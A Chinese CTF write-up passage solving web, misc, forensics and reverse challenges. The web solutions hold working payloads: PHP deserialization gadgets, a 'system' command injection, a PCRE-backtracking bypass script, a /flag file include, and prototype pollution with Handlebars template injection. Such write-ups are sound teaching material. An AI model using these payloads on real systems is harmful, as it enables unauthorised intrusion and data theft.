Web
flag在哪里
打开题目直接拿到题目源码:
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "file";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>
发现有 getflag.php 文件,尝试先读取一下该文件:
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct($obj)
{
$this->file = "getflag.php";
$this->content = "content";
$this->mode=$obj;
}
function __wakeup(){}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){}
}
$demo = new begin('');
$demo->choice=new begin('');
echo urlencode(serialize($demo));
先查看一下文件目录:
POST:a=dir&b=system
绕过过滤读取 _f_l_a_g.php 文件:
POST:a=rev ????????????&b=system
FLag:flag{sda5-vdv1-dv35-qsc-112sa}
寻宝奇兵
先查看一下源代码,发现关键代码:
<?php
if (isset($_COOKIE["users"])) {
if($_COOKIE["users"]==="explorer")
{
die("Explorers are not welcome");
}
$hash = $_COOKIE["hash"];
$users=$_COOKIE["users"];
if($hash === md5($SECRET.$users)){
echo "<script >alert('恭喜')</script>";
} else {
setcookie("users", "explorer");
setcookie("hash", md5($SECRET . "explorer"));
}
这里直接随便设置一个 users 的值,然后得到其对应的 hash 的值,替换掉 Cookie 中的这两个值,即可绕过第一层:
<?php
$SECRET="There is no treasure here";
$users="H3rmesk1t";
echo md5($SECRET.$users).PHP_EOL;
拿到第二层的关键代码,发现需要爆破随机数种子:
<?php
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$pass='';
for ( $i = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(0, strlen($table) - 1), 1);
}
if(isset($_POST['password'])){
if($pass==$_POST['password']){
echo "<script >alert('恭喜你')</script>";
}
}
得到随机数种子后还原一下字符串即可进入第三层:
<?php
mt_srand(0x0167cf45);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=24;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
拿到第三层的核心代码:
<?php
function is_php($data){
return preg_match('/[flag].*[php]/is', $data);
}
if($_POST['treasure']){
if(is_php($_POST['treasure'])) {
echo "<script >alert('这个不能拿走');</script>";
} else {
if(preg_match('/flag.php/is', $_POST['treasure'])){
highlight_file('flag.php');
}
}
}
这里直接利用 pcre 回溯来绕过这里即可:
import requests
from io import BytesIO
data = {
'treasure': BytesIO(b'flag.php' + b'a' * 1000000),
'submit':'%E6%8F%90%E4%BA%A4'
}
res = requests.post('http://119.61.19.212:57305/treasure.php', data=data)
print(res.text)
Flag:flag{C0ngratu1aTion2-0n-gEtting-the-treAsure}
mid
发现可以进行文件包含,尝试直接包含 flag 文件:
http://119.61.19.212:57303/index.php/?1=/flag
Flag:flag{bf6d5f9cac073879c9e6a0cfb1ab0e67}
glowworm
根据提示,访问 /source 拿到题目源代码:
const express = require('express');
const bodyParser = require('body-parser')
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const FLAG = require('./config').FLAG;
app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
app.use(express.urlencoded());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var glowworm=[];
var content=[];
function sha1(string) {
return crypto.createHash("sha1").update(string).digest("hex");
}
app.get('/', (req, res) => {
const { page } = req.query;
if (!page) res.redirect('/?page=index');
else res.render(page, { FLAG, 'insect': 'glowworm' });
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/app.js'));
});
app.post('/data', function(req, res) {
var worm = req.body;
content[worm.wing][worm.fire] = worm.data;
res.end('data success')
});
app.get('/refresh', (req, res) => {
let files = [];
var paths = path.join(__dirname,'views/sandbox')
if(fs.existsSync(paths)){
files = fs.readdirSync(paths);
files.forEach((file, index) => {
let curPath = paths + "/" + file;
if(fs.statSync(curPath).isFile()){
fs.unlinkSync(curPath);
}
});
}
res.end('refresh success')
});
app.post('/', (req, res) => {
const key = "worm";
const { content , a, b} = req.body;
if (!a || !b || a.length !== b.length) {
res.send("no!!!");
return;
}
if (a !== b && sha1(key + a) === sha1(key + b)) {
if(glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2){
if (typeof content !== 'string' || content.indexOf('FLAG') != -1) {
res.end('ban!!!');
return;
}
const filename = crypto.randomBytes(8).toString('hex');
fs.writeFile(`${path.join('views','sandbox',filename)}.html`, content, () => {
res.redirect(`/?page=sandbox/${filename}`);
})
}else{
res.send("no no no!!!");
}
}else{
res.send("no no!!!");
}
});
app.listen(8888, '0.0.0.0');
审计代码发现主要分两个功能部分,get 方法访问 index,js 会将 FLAG 返回到指定的 html 模板,post 方法访问 index 会创建一个随机名字的 html 文件,并将 content 的内容写入生成的 html 文件中,看源码发现渲染引擎为 Handlebars,其模板语法是 {{}},考虑利用 {{}} 将 FLAG 变量渲染出来
先绕过 a,b:
POST:
{"wing":"__proto__","fire":"token1","data":"1"}
接着利用之前 data 值的 sha1 来作为 token2 进行传参:
POST:
{"a":"0","b":[0],
"content":"{{#each this}}{{this.toString}}{{/each}}"
}
接着访问得到的地址即可拿到 Flag
Flag:flag{141edb97-e345-4e49-97c2-c8275dce29b4}
serialize
直接拿到题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}
if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;
}
直接用 PHP 原生类来读取 flag 文件即可:
<?php
class Demo{
public $class = 'SplFileObject';
public $user = '/flag';
public $check;
}
$payload = new Demo();
echo urlencode(serialize($payload));
?>
Misc
签到1
描述字符串base64解码
Flag:flag{c54ce9d7b4e17980dd4906d9941ed52a}
Decoder
第一部分:
压缩包有伪加密,7-zip 打开直接绕过,然后:base32 -> base58 -> base85
flag1:042f38b694
第二部分:
key 先用 Emoji 编码解码,解出来 key 为 whhjno,接着调节 rotation=36,利用 emoji-aes 解密即可
flag2:b52bff9568
第三部分:
base91 解码得到很多行 base64:
U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m
IHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmU=
LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYW5kIGludGVuZGVkIHJlY2lwaWVudCwgc3VzcGX=
Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M=
YWdlLCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFT=
aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGlzIG9mIEdyZWVrIG9yaWdpbiBhbmTgbWVhbnMgImNvbmNlYT==
bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1lYW5pbmcgImNv
dmVyZWQgb3IgdHJvdGVjdGVkIiwgYW5kIGdyYXBoZWluIG1lYW5pbmdgInRvIHd=
cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRlZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9o
YW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RlZ2Fub2dyYXBoaWEsIGEgdHJlYd==
dGlzZSBvbiBjcnl5dG9ncmF5aHkgYW5kIHN0ZWdhbm9ncmF5aHkgZGlzZ5==
dWlzZWQgYXOgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3O=
YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRp
Y2xlcywgc2hvcHBpbmcgbGlzdHMsIG9yIHNvbWUgb3Q=
aGVyIGNvdmVydGV4dCBhbmQsIGNsYXNzaWNhbGx5LCB0aGUgaGlnZGVuIG1lc3NhZ2UgbWF5IGJlIGluIGludmn=
c2libGUgaW5rIGJldHdlZW4gdGhlIHZpc2libGUgbGluZXMgb2YgYSBwcml2YXRlIGxldHRlci4=
VGhlIGFkdmFudGFnZSBvZiBzdGVnYW5v是Z3JhcGh5LCBvdmVyIGNy
eXB0b2dyYXBoeSBhbG9uZSwgaXMgdGhhdCBtZXNzYWdlcyBkbyBub3QgYXR0cmFjdCBhdHRlbnRpb26=
IHRvIHRoZW1zZWx2ZXMuIFBsYWlubHkgdmlzaWJsZSBlbmNyeXB0ZWQgbWVzc2FnZXPogbRubyBtYXR0ZXIg
aG93IHVuYnJlYWthYmxl6IG0d2lsbCBhcm91c2Ugcz==
dXNwaWNpb24sIGFuZCBtYXkgaW4gdGhlbXNlbHZlcyBiZSBpbmNyaW1pbmF0aW5nIG==
aW4gY291bnRyaWVzIHdoZXJlIGVuY3J5cHRpb24gaXMgaWxsZWdhbC4gVGhlcmVmb3JlLD==
IHdoZXJlYXMnY3J5cHRvZ3JhcGh5IHByb3RlY3RzIHRoZSBjb250ZW50cyBvZn==
IGEgbWVzc2FnZSwgc3RlZ2Fub2dyYXBoeSBjYW4gYmUgc2FpZCB0byBwcm90ZWN0IGI=
b3RoIG1lc3NhZ2VzIGFuZCBjb21tdW5pY2F0aW5nIHBhcnRpZXMu
U3RlZ2Fub2dyYXBoeSBpbmNsdWRlcyD=
dGhlIGNvbmNlYWxtZW51IG9mIGluZm9ybWF1aW9uIHdpdGhpbiBjb21=
cHV0ZXIgZmlsZXMuIEluIGRpZ2l0YWwgc3RlZ2Fub2dyYXBoeSwgZWxlY3Ryb25pYyBjb21tdW5pY2F0aW9u
cyBtYXkgaW5jbHVkZSBzdGVnYW5vZ3JhcGhpYyBjb2RpbmcgaW5zaQ==
ZGUgb2YgYSB0cmFuc3BvcnQgbGF5ZXIsIHN1Y2ggYXMgYSBkb2N1bWVudCBmaWxlLCBpbWFnZSBmaWz=
ZSwgcHJvZ3JhbSBvciBwcm90b2NvbC4gTWVkaWEg
ZmlsZXMgYXJlIGlkZWFsIGZvciBzdGVnYW5vZ3JhcGhpYyB0cmFuc21pc3Npb3==
biBiZWNhdXNlIG9mIHRoZWlyIGxhcmdlIHNpemUuIEFzID==
YSBzaW1wbGUgZXhhbXBsZSwgYSBzZW5kZXIgbWlnaHQgc3RhcnQgd2l0aCBh
biBpbm5vY3VvdXMgaW1hZ2UgZmlsZSBhbmQgYWRqdXN0IHRoZSBjb2xvciBvZiBldmVyeSAxMDB0aCBwaXhlbCA=
dG8gY29ycmVzcG9uZCB0byBhIGxldHRlciBpbiB0aGUgYWxwaGFiZXQsIGG=
IGNoYW5nZSBzbyBzdWJ0bGUgdGhhdCBzb21lb25lIG5vdCBzcGVjaWZpY2FsbHkgbG9va2luZyBm
b3IjaXQjaXMjdW5saWtlbHkjdG8jbm90aWNlIGl0Lj==
VGhlJGZpcnN0JHJlY29yZGVkJHVzZXMgb2Ygc3RlZ2Fub2dyYXBoeSBjYW4gYmUgdHJ=
YWNlZCBiYWNrIHRvIDQ0MCBCQyB3aGVuIEhlcm9kb3R1cyBtZW50aW9ucyB0d28gZXhhbXBsZXMgb0==
ZiBzdGVnYW5vZ3JhcGh5IGluIFRoZSBIaXN0b3JpZXMgb2Yg
SGVyb2RvdHVzLiBEZW1hcmF0dXMgc2VudCBhIHdhcm5pbmcgYWJvdXQgYSD=
Zm9ydGhjb21pbmcgYXR0YWNrIHRvIEdyZWVjZSBieSB3
cml0aW5nIGl0IGRpcmVjdGx5IG9uIHRoZSB3b29kZW4gYmFja2luZyBvZiBhIHdheCB0YWJsZXQgYmVm
b3JlIGFwcGx5aW5nIGl0cyBiZWVzd2F4IHN1cmZhY2UuIFdheCB0YWJsZXRzIHdlcmUgaW4gY29tbW9uIHVzZR==
IHRoZW4gYXMgcmV1c2FibGUgd3JpdGluZyBzdXJmYWNlcywgc29tZXRpbWU=
c3VzZWQgZm9yIHNob3J0aGFuZC4gQW5vdGhlciBhbmNpZW50IGV4YW1wbGUgaXMgdGhhdCBv
Zkhpc3RpYWV1cywgd2hvIHNoYXZlZCB0aGUgaGVhZCBvZiBoaXPgbW9zdCB0cnVzdGVkIHP=
bGF2ZSBhbmQgdGF0dG9vZWQgYSBtZXNzYWdlIG9uIGl0LiBBZnRlciBoaXMgaGFpciBoYWQgZ2==
cm93biB0aGUgbWVzc2FnZSB3YXMgaGlkZGVuLiBUaGUgcHVycG9zZSB3YXMgdG8=
aW5zdGlnYXRlIGEgcmV2b2x0IGFnYWluc3QgdGhlIFBlcnNpYW5zLg==
U3RlZ2Fub2dyYXBoeSBoYXMgYmVlbiB3aWRlbHkgdXNlZCwg
aW5jbHVkaW5nIGluIHJlY2VudCBoaXN0b3JpY2FsIHRpbWVzIGFuZCB0
aGUgcHJlc2VudCBkYXkuIFBvc3NpYmxlIHBlcm11dGF0aW9ucyBhcmUgZW5kbGVzcyBhbmQ=
a25vd24gZXhhbXBsZXMgaW5jbHVkZTo=
SGlkZGVuIG1lc3NhZ2VzIHdpdGhpbiB3YXggdGE=
YmxldHM6IGluIGFuY2llbnQgR3JlZWNlLCBwZW9wbGUgd3JvdGUgbWU=
c3NhZ2VzIG9uIHRoZSB3b29kLCB0aGV是uIGNvdmVyZWQgaXQgd2l0aCB3YXggdXBvbiB3aGljaCBhbiBpbm5vY2Vu
dCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVu
SGlkZGVuIG1lc3NhZ2VzIG9uIG1lc3NlbmdlcidzIGJvZHk6IGFsc28gdXNlZCBpbiBhbmNpZW4=
用 base64 隐写脚本提取即可:
#!/usr/bin/env python
import re
path = 'flag3.txt'
b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open(path, 'r')as f:
cipher = [i.strip() for i in f.readlines()]
plaintext = ''
for i in cipher:
if i[-2] == '=': # There are 4-bit hidden info while end with two '='
bin_message = bin(b64char.index(i[-3]))[2:].zfill(4)
plaintext += bin_message[-4:]
elif i[-1] == '=': # There are 2-bit hidden info while end with one '='
bin_message = bin(b64char.index(i[-2]))[2:].zfill(2)
plaintext += bin_message[-2:]
plaintext = re.findall('.{8}', plaintext) # 8bits/group
plaintext = ''.join([chr(int(i,2)) for i in plaintext])
print(plaintext)
flag3:37f267472516
Flag:flag{042f38b694b52bff956837f267472516}
huahua
huahua.zip 少文件头,补上后解压得到的 png 缺文件头;
修补后尝试打开,发现 CRC 不对,使用其他忽略 CRC 的图片查看器打开发现少了一截,猜测是高被修改了;
将高度修改大一点后成功拿到 flag
Flag:flag{b3afc91a8fbb6cc798bdebb253b02550}
noise
打开压缩包,查看文件类型发现 out 为 wav 音频格式,直接利用 audacity 打开看频谱,稍微调整一下设置后即可看得清楚 flag
Flag:flag{98ce526ad52c409763405847185d9c6c}
DdDdDd
流量包直接提取HTTP对象,其中一个 .gcode 文件较大,经搜索为打印机控制语言,直接用在线工具:https://gcode.ws/ 一把梭
Flag:flag{2fc07441-fd87-4e1c-9f0f-72aa8c984a}
Forensic
内存镜像先用 volatility 查看 imageinfo,发现是 win7 的内存;
接着利用 filescan 导出文件列表,通过搜索 flag 搜索到 flag.docx 文件,再进行提取
python2 vol.py -f data.raw --profile=Win7SP1x64 dumpfiles --dump-dir . -Q 0x000000007d1a0d10
提取出来直接当作 zip 打开,查看 document.xml 文件,发现隐藏字符串:ZmxhZ3s5MDE3Y2VmMjZhMDdiZWI0ZTY2OWE0YTgwNmJjZDliNn0=,base64 解码即可拿到 flag
Flag:flag{9017cef26a07beb4e669a4a806bcd9b6}
隐藏的数据
zip 伪加密直接用 7-zip 绕过,其中 key.docx 当作压缩包解压后看 xml 文件,文件末尾有隐藏字符串
flag.zip 直接解压得 flag,还是 zip 文件;
尝试用此密码解压 zip 文件,发现无法打开,尝试 John 暴力破解成功拿到密码:0546
解压后又得到 flag,但是还是 zip 文件,这里采用之前隐藏字符串给出的密码:$Th1S_1S_P@SSW0Rd#####,解压得到 flag_not_here.docx 文件;
当作压缩包查看 xml,在接近末尾处找到 flag
Flag:flag{4de41c0b106051b30cb3c654901b1b06}
something in picture
这道题是今年强网杯的原题,这里直接贴大师傅的题解啦:https://zhuanlan.zhihu.com/p/381863924
Flag:flag{D1mEn5i0nAl_Pr061em}
Reverse
re1
TEA 算法,但需要注意每次 key 都会变
#include <windows.h>
#include "TEA.h"
#include "XTEA.h"
unsigned char enc[] =
{
0xD1, 0x5F, 0x50, 0x67, 0xA0, 0x6A, 0xDB, 0xBC, 0xE4, 0x5E,
0x6B, 0x8D, 0x12, 0xF2, 0x5B, 0x78, 0xC2, 0xB3, 0xE4, 0xC6,
0x58, 0x46, 0x80, 0x39
};
unsigned int key[4] = { 0x1060308, 0x50E070F, 0xA0B0C0D, 0xDEADBEEF };
int main()
{
for (int i = 0; i <= 3; ++i)
key[i] += i;
TEA_decrypt((uint32_t*)(enc), key);
for (int i = 0; i <= 3; ++i)
key[i] += i;
XTEA_decipher(32, (uint32_t*)(enc + 8), key);
for (int i = 0; i <= 3; ++i)
key[i] += i;
XTEA_decipher(32, (uint32_t*)(enc + 16), key);
printf("%s",enc);
for (int i = 0;i<6;i++){
for (int j = 0;j<4;j++){
printf("%02x", enc[4 * i + (3 - j)]);
}
}
puts("");
for(int i = 0;i<24;i++){
printf("%02x", enc[i]);
}
}
re2
换表 base64 题
import base64
import string
str1 = "BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30="
string1 = "RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
re4
ida7.6 打开后,在函数列表找到 main_main 函数定位到主逻辑;
对 main_main 函数分析,可以知道,输入的字符串由 @#$% 四个字符组成,且每个字符对应一种操作;
这些操作有一个共同点:它们都要先找到数组里的 -1 的位置,再根据这个位置把 -1 前移或后移,操作的数组有 16 个元素,最后要求这个数组要从小到大排好序;
如果把长 16 的数组看作 4x4 的话,就不难看出这就是一个 16 格的拼图,其中 -1 为空位,上述 4 个操作正好对应上下左右移动;
这里直接在网上搜索寻找到了一个拼图的算法:
#include <iostream>
#include <cstdio>
#include <cmath>
#include <string>
#include <algorithm>
#include <cassert>
using namespace std;
#define N 4
#define N2 16
#define LIMIT 1000 //代表你设置的最大限度
int MDT[N2][N2]; //代表所有节点的曼哈顿距离数组
static const int dx[4] = { 0,-1,0,1 }; //方向数组
static const int dy[4] = { 1,0,-1,0 }; //方向数组
static const char dir[4] = { '%','@','$','#' }; //代表移动的标识,当搜索到最优解时,通常通过移动的标识长度来计算步数,同时也可以根据该标识来从输入的拼图推出最终的拼图。(r为向右,l为向左,u为向上,d为向下)
struct Puzzle { //代表拼图的结构体
int f[N2]; //代表当前的拼图
int space; //代表空位的下标(或者说是0拼图下标)
int MD; //代表当前拼图的曼哈顿距离
};
Puzzle state; //声明一个拼图(用处之后再说)
int limit; //代表最小成本的变量limit,也是IDA*中不断增加的限制值,在本题中起始值通常为输入拼图的曼哈顿距离,限制值一直增加到你设定的最大值LIMIT为止。若你的限定值limit在增加时超过了最大值,但还是没有搜索出结果的话,结果就为unsolvable
int path[LIMIT]; //代表存储搜索到的路径数组。(也就是说,当你找到了从输入拼图到最终拼图的最短路径,那么在本题中这个路径会以一串移动的标识来显示。决定移动标识的下标值就会存储在这个路径数组中。
int getAllMD(Puzzle pz) //代表求出输入拼图的曼哈顿距离的函数
{
int sum = 0; //代表各个拼图的曼哈顿距离之和就为输入拼图的曼哈顿距离
for (int i = 0; i < N2; i++)
{
if (pz.f[i] == N2) //如果进行遍历的拼图为空位,那么就直接进行返回。因为空位不算拼图,因此没有曼哈顿距离
{
continue;
}
sum += MDT[i][pz.f[i] - 1]; //通过这个式子来算出各个拼图的曼哈顿距离,并进行相加
}
return sum; //返回输入拼图的曼哈顿距离
}
bool isSolved() { //这个isSolved函数就是代表检测输入的拼图是否能有还原到最终拼图的可能。
for (int i = 0; i < N2; i++)
{
if (state.f[i] != i + 1) //判断移动之后的各个拼图跟最终的各个拼图相比是否一样
{
return false; //如果有一个拼图不一样,则移动之后的拼图跟最终拼图肯定就不一样了
}
}
return true; //如果拼图都一样,则移动之后的拼图跟最终拼图也就一样了。
}
bool dfs(int depth, int prev) //代表dfs函数,其中depth代表当前深度,prev代表进行传入的移动下标(r)
{
if (state.MD == 0) //如果刚开始搜索时曼哈顿距离就为0,则代表输入拼图=最终拼图,那么不用向下遍历,直接返回true
{
return true;
}
if (depth + state.MD > limit) //如果当前的搜索深度+当前拼图的启发值(曼哈顿距离) 大于 限制深度的话,我们就要对其进行剪枝,禁止dfs再向下搜索。
{
return false;
}
int sx = state.space / N; //根据这个式子来求出当前所在的坐标(sx,sy),老实说我也没明白这个式子是什么意思,但是我们可以暂时理解为就是当前空位的下标,之后我们要对这个空位来进行移动,从而得到拼图的不同情况。
int sy = state.space % N;
Puzzle tmp; //声明拼图tmp
for (int r = 0; r < 4; r++)
{
int tx = sx + dx[r]; //将当前空位进行上下左右四个方向的移动,得到新坐标(tx,ty)
int ty = sy + dy[r];
if (tx < 0 || ty < 0 || tx >= N || ty >= N) //如果移动的下标要是越界的话,就直接进行返回
{
continue;
}
if (max(prev, r) - min(prev, r) == 2) //这个式子非常重要,虽说我是不知道它怎么来的,但是这个式子的意思是避免重复的搜索,如果有重复的搜索就直接返回。(例如:我将输入拼图中的8向右移动了一次,那么拼图为:1 2 3 4 6 7 16 8 5 10 11 12 9 13 14 15。将移动之后的地图进行再次的dfs,那么再次dfs的话,就有可能出现将8再向左移动一位的情况。向左移动一位的话,拼图就又变回去了(1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15)。所以,为了防止这个情况的发生,有了这个式子。(不信的话可以打个断点,试一下就知道了。)
{
continue;
}
tmp = state; //将temp地图等于state拼图
state.MD -= MDT[tx * N + ty][state.f[tx * N + ty] - 1]; //代表进行拼图的移动时,有没有因为这个拼图的移动导致原先的曼哈顿距离减少。典型的例子就是将拼图移动到了规定的位置中(这里规定的位置指某块拼图在终点拼图的位置)。并且,这段话的意思就是计算移动后的新拼图的曼哈顿距离
state.MD += MDT[sx * N + sy][state.f[tx * N + ty] - 1]; //代表进行拼图的移动时,有没有因为这个拼图的移动导致原先的曼哈顿距离增加。典型的例子就是某块拼图移动到了规定的位置更远处。(举个例子:例如我将输入拼图1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15 中的4向下移动,那么原先的曼哈顿距离就会加1。(因为4向下移动并没有将原来的曼哈顿距离减少,因为除4之外的拼图都没有进行移动。而4向下移动就会让4脱离原先正确的位置,使原先的曼哈顿距离加了1)
swap(state.f[tx * N + ty], state.f[sx * N + sy]); //代表进行拼图的移动,并生成新拼图state
state.space = tx * N + ty; //重新计算新拼图的空位下标
if (dfs(depth + 1, r)) //生成新拼图后向下继续搜索
{
path[depth] = r; //如果搜索成功,那么就将最短步数中的每一步都记录在path数组中。r代表移动的具体方向下标。depth代表当前遍历的深度。其实就是第几步的意思。(例如:path[5] = 2,就代表第5步向左移动的意思,同时对应着移动标识的'l')
return true; //代表搜索成功,返回上一层
}
state = tmp; //如果在这个拼图的移动中,搜索没成功的话,那么就将当前移动之后的拼图回溯到之前没有进行移动过的状态,并尝试进行下一方向的移动。
}
return false; //如果四个方向搜索均没有成功的话,那么就代表当前限制深度(limit)中无解,需要在下一个限制深度(limit+1)中重新进行dfs。
}
string iterative_deepening(Puzzle in) //代表进行IDA*搜索的函数
{
in.MD = getAllMD(in); //计算输入拼图的启发值,同时也是输入拼图的曼哈顿距离
for (limit = in.MD; limit <= LIMIT; limit++) //进行迭代加深搜索的循环,起始限制值为输入拼图的曼哈顿距离(启发值),通过不断搜索增加限制值,实其让dfs具有bfs的功能。直到限制值增大到最大值(LIMIT)+1为止。如果限制值一直到最大值+1的期间都没有搜索到结果,则整个IDA*也就无法找到结果。
{
state = in; //把输入拼图赋值到state拼图中
if (dfs(0, -100)) //进行dfs搜索(实际上IDA*就是比dfs增加了最大搜索深度(限制值limit),通过这个最大搜索深度,我们就能让dfs具有bfs的功能,但代价是每次循环(加大深度时)都得需要将之前搜索过的深度再次搜索一遍)。除了这个之外,就跟普通的dfs没有什么区别。
{
string ans = ""; //声明移动的标识(当dfs找到最短路径时(dfs的返回值为true))
for (int i = 0; i < limit; i++) //如果找到了最短步数,那么这个最短步数的值一定等于当前的限制深度(limit),因为初始limit变量值为输入地图的曼哈顿距离。(那也就代表了当前拼图至少得移动limit步才能移动到最终的拼图)因为每增加一层深度,就代表多走一个步数,因此若搜索出来了最短步数,那么这个最短步数一定跟当前的限制深度相等。
{
ans += dir[path[i]]; //根据遍历的下标(i)求出移动标识的下标(path[i]),根据移动标识的下标求出移动标识(dir[path[i]])
}
return ans; //返回移动的标识
}
}
return "unsolvable"; //如果说一直加深的限定值超过了最大值但还是没有搜索到结果,那么就返回unsolvable
}
int main()
{
int i, j;
for (i = 0; i < N2; i++)
{
for (j = 0; j < N2; j++)
{
MDT[i][j] = abs(i / N - j / N) + abs(i % N - j % N); //根据这个式子来计算所有拼图(0-15)分别在所有位置(0-15)上的曼哈顿距离(PS:这个式子是怎么得到的,本人也不是太清楚。不得不说,想出这个式子的人真的很厉害!)
}
}
Puzzle in; //声明一个拼图(输入拼图)
for (i = 0; i < N2; i++)
{
cin >> in.f[i]; //进行拼图的输入
if (in.f[i] == 0) //如果输入的是空位(0拼图)
{
in.f[i] = N2; //将这个空位的值标识为16(则整个拼图为:1-16 其中,16为空位置)
in.space = i; //记录一下空位的位置(下标值)
}
}
string ans = iterative_deepening(in); //进行IDA*搜索,其中ans代表移动的标识(为一串字母)
cout << ans << endl; //计算标识长度(就是输入拼图还原到原拼图的最短步数)
return 0;
}
代码执行结果:
5 1 0 2 9 6 3 8 13 15 10 11 14 4 7 12
%#$#$#%@$#$@@%%#$@$@%%#%@$##%#
使用原程序运行验证通过,但是这道题是道多解题,最后的答案不唯一
Flag:flag{75eee856b02b3714d07007bb93bff20d}
re5
一开始看 main 函数 F5 不出来,调试后发现一个故意的除 0 错误,定位到逻辑:
int sub_415250()
{
size_t v0; // eax
FARPROC ProcAddress; // [esp+ECh] [ebp-78h]
size_t i; // [esp+F8h] [ebp-6Ch]
LPCSTR lpProcName; // [esp+104h] [ebp-60h]
char Str[36]; // [esp+110h] [ebp-54h] BYREF
HMODULE hModule; // [esp+134h] [ebp-30h]
int v7; // [esp+140h] [ebp-24h]
CPPEH_RECORD ms_exc; // [esp+14Ch] [ebp-18h]
v7 = 1;
hModule = LoadLibraryW(L"Kernel32.dll");
if ( !hModule )
ExitProcess(0);
qmemcpy(Str, &byte_419B78, 0x1Cu);
v0 = j_strlen(Str);
lpProcName = (LPCSTR)malloc(v0);
for ( i = 0; i < j_strlen(Str); ++i )
lpProcName[i] = Str[i] - 122;
*((_BYTE *)lpProcName + 27) = 0;
ProcAddress = GetProcAddress(hModule, lpProcName);
if ( !ProcAddress )
ExitProcess(0);
((void (__stdcall *)(int (__stdcall *)(int)))ProcAddress)(sub_411177);
ms_exc.registration.TryLevel = -2;
return 0;
}
ProcAddress 是 SetUnhandledExceptionFilter,跟进 sub_411177 找到判断逻辑:
bool __cdecl sub_411CE0(int a1)
{
int m; // [esp+D0h] [ebp-44h]
int k; // [esp+DCh] [ebp-38h]
int j; // [esp+E8h] [ebp-2Ch]
int v5; // [esp+F4h] [ebp-20h]
int i; // [esp+100h] [ebp-14h]
_DWORD *v7; // [esp+10Ch] [ebp-8h]
v7 = malloc(0x8Cu);
for ( i = 0; i < 35; ++i )
v7[i] = 0;
v5 = 0;
for ( j = 0; j < 35; ++j )
{
if ( *(_BYTE *)(j + a1) != 'N' )
{
if ( *(_BYTE *)(j + a1) != 'Y' )
return 0;
for ( k = a[j]; k < b[j]; ++k )
v7[k] += c[j];
for ( m = 0; m < 35; ++m )
{
if ( (int)v7[m] > 150 )
return 0;
}
v5 += c[j] * (b[j] - a[j]);
}
}
return v5 == dword_41C040;
}
这里用 z3 来进行解题:
import z3
a = [2, 12, 26,
20, 13,
15, 11, 16,
12, 12,
15, 13, 19,
10, 18,
